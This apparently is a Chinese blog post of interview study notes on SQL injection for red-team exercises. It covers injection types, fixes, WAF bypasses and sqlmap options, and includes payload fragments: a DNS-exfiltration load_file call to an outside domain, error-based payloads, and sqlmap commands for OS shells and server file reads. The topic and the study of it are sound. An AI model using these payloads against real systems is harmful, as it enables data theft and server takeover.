护网面经之—sql注入

目录

一、sql注入

1、sql注入漏洞原理?危害?修复?步骤?

2、sql注入的分类?

①报错注入:

②盲注:

布尔盲注

时间盲注

DNSLOG外带注入

③宽字节注入

④二次注入

⑤堆叠注入

⑥union联合注入

⑦HTTP头注入

3、sql注入怎么绕WAF?

4、sqlmap常用参数?

5、一般情况下怎么判断闭合符?

6、sql注入获取webshell的方式


一、sql注入

1、sql注入漏洞原理?危害?修复?步骤?

原理:由于后端代码没有做好过滤,导致了用户可以去拼接一些想执行的语句,从而进行利用。说白了就是开发者没有在网页传参点做好过滤,导致恶意sql语句拼接到数据库进行执行了嘛。

危害:获取网站服务器中的数据、网页篡改等。

修复:1、使用参数化查询:参数化查询可以将参数化的查询字符串发送到数据库,从而避免直接将用户输入与SQL语句结合,就减少了SQL注入的风险。 2、过滤和验证输入:对所有用户输入进行过滤和验证,确保数据符合预期格式,比如数字、日期这些信息等等。3、禁止动态拼接SQL语句。

sql注入步骤:判断注入点-->判断类型-->构造闭合-->获取数据库信息-->获取表名-->获取列名-->获取数据库字段名。

2、sql注入的分类?

①报错注入:

原理:报错注入就是利用了数据库的某些机制,人为的制造错误的条件,使得查询的结果能够出现在错误的信息中。

常用的函数(payload):

updatexml(对xml文档更新的操作):updatexml(XML_document,Xpath_string,new_value)

extractvalue(对xml文档进行查询的操作):它与updatexml 注入的原理一样的,也是利用了函数中第二个参数xpath_string的报错进行注入,只不过它只有两个参数,updatexml有三个参数。

floor():floor报错注入是利用数据库表主键不能重复的原理,使用group_by分组,产生主键冲突,导致报错。要保证floor报错注入,那么必须保证查询的表必须大于三条数据,并且mysql版本需满足大于5.0 小于8.x的条件。

exp():返回值e(自然对数的底)的x次方。 当输入x的值大于709就会出现数据过大溢出报错。此函数的报错注入利用条件是5.5版本 。

②盲注:

盲注原理:页面不会像报错注入那样直接将错误信息回显到用户端,只显示页面的状态。因此针对这种情况我们在注入时需要根据页面的状态或者回显时间来判断注入语句是否正确。

布尔盲注

布尔盲注原理:页面不会像报错注入那样直接将错误信息回显到用户端,只显示页面的状态。攻击者需要根据页面的回显状态来确定自己的攻击语句,进而得出数据库的存储信息。

布尔盲注payload:

substr()截取函数:substr(str,start,length)

left()截取函数:left(str,length)

right()截取函数

布尔盲注步骤:就是普通的注入,然后爆破数据库信息的时候用ascii()函数来猜解嘛。(以上有注入步骤)

求数据库名的长度及ASCII->求当前数据库表的ASCII->求当前数据库表中的个数->求数据库中表名的长度- >求数据库中表名->求列名的数量->求列名的长度->求列名的ASCII->求字段的数量->求字段的长度->求字段内容ASCII

时间盲注

时间盲注原理

时间盲注与布尔注入不同),时间盲注没有任何报错信息输出,页面返回不管对或错都是一种状态, 攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造sleep注入的SQL 测试语句,根据页面的返回时间来判断数据库中存储了哪些信息。

sleep函数可以用benchmark函数替代。

DNSLOG外带注入

原理:首先申请一个dnslog的平台(比如说ceye平台),然后当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog平台就会把请求的记录显示出来嘛。dns外带的主要作用也是提高盲注的一个效率,因为布尔盲注、时间盲注获取内容的时候需要发送很多的请求、判断,而且还容易触发安全设备的防护,而Dnslog盲注可以减少发送的请求,直接回显数据实现注入。但是使用DnsLog盲注仅限于windos环境。

(为什么仅限于windows环境呢?)

答:因为DNSlog进行注入需要用到load_file()函数嘛,而load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows的一个UNC路径了嘛

UNC路径:\\servername\sharename\directory\filename

payload:   select load_file('\\SQL注入查询语句.a.com')。(load_file函数可以解析dns请求)

dns外带的时候有什么权限吗?(null,指定文件,空)

secure_file_priv为null    :不能进行文件的读写

secure_file_priv为指定文件夹时  : 只能对指定路径的文件进行读写

secure_file_priv为空        :对文件读写没有任何权限

③宽字节注入

原理:在php语言中,有一个addslashes函数用来防止sql注入,这个函数会在我们构造的字符前面(比如在一个引号前面)加上了转义符,从而防御了我们的注入。这个时候我们就可以用一个ascii码大于128的字符,比如%df来拼接到我们构造的引号后面,这样数据库在使用GBK编码的时候,就会认为%df反斜杠是一个宽字节,这样我们构造的单引号就闭合了,就可以进行注入攻击了。

④二次注入

原理:第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,但是在写入数据库的时候还是保留了原来的数据,然后数据本身就包含恶意内容;所以在将数据存入到了数据库之后,该数据就被认为是可信的,然后在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成二次注入。

⑤堆叠注入

原理:堆叠注入就是多条sql语句一起执行嘛,就是每一条语句结尾加个分号来表示语句结束,然后多条语句一起执行。

联合查询注入与堆叠注入区别:union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可 以执行的是任意的语句。堆叠注入即可以执行查询语句,也可以执行更新、删除、插入语句,所以堆叠 注入的危害更高。

⑥union联合注入

原理:联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上有回显位。联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的列数要相同,不然会出现报错。

联合查询注入步骤:判断注入点-->判断类型-->构造闭合-->判断列数-->判断显示位-->获取数据库信息-->获取表名-->获取 列名-->获取数据库字段名

⑦HTTP头注入

后端为了验证客户端HTTP 头(比如常用的Cookie验证等)或者通过HTTP Header 头信息获取客户端的一些信息(例如:User-Agent、xff、referer字段等),会对客户端HTTP Header 进行 获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏 洞。

3、sql注入怎么绕WAF?

①空格字符绕过:比如用两个空格代替一个空格,用Ascii码转url编码替代空格比如%0b、%0c、%0d、%20等等,

②大小写绕过:将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1

③双写绕过:

④内联注释绕过:/*!   */

⑤等价函数过滤绕过:

1.sleep函数可以用benchmark函数代替;

2.Ascii函数可以用hex、bin函数代替;

3.Group_concat函数可以用concat_ws函数代替;

4.updatexml函数可以用polygon()函数代替:polygon((select * from (select * from (select @@version) f) x));

5.substr函数可以用min函数代替;

4、sqlmap常用参数?

GET型注入常用参数:

-u:指定注入的URL sqlmap -u URL

--dbs:爆出所有数据库 sqlmap -u URL --dbs

--dbms:指定数据库类型 sqlmap -u URL

--dbms=mysql --users:查看数据库的所有用户 sqlmap -u URL --users

--sql-shell:获取数据库shell sqlmap -u URL --sql-shell

--os-shell:获取服务器shell sqlmap -u URL --os-shell

--file-read:读取服务器文件 sqlmap -u URL --file-read "文件路径及名称"

POST型注入常用参数:

-r:指定POST数据文件

--forms:自动搜索表单的方式 sqlmap -u URL --forms

--cookie="抓取的cookie"

5、一般情况下怎么判断闭合符?

先去执行一个正常的查询,看界面正常的回显是什么状态。然后再通过拼接一个and语句、控制and语句后面条件的真与假,再观察页面的回显正不正常。还可以在参数后面拼接“/”(单斜杠)转义符,来观察界面的报错信息,再回显报错中一般就会提示出来用的什么闭合符号。

6、sql注入获取webshell的方式

         1、写文件(需要写权限)

         2、写日志文件(不要写权限,但是需要通过命令开启日志记录功能,而且还需要把日志文件的路径指定到网站根路径下面)

  • 25
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值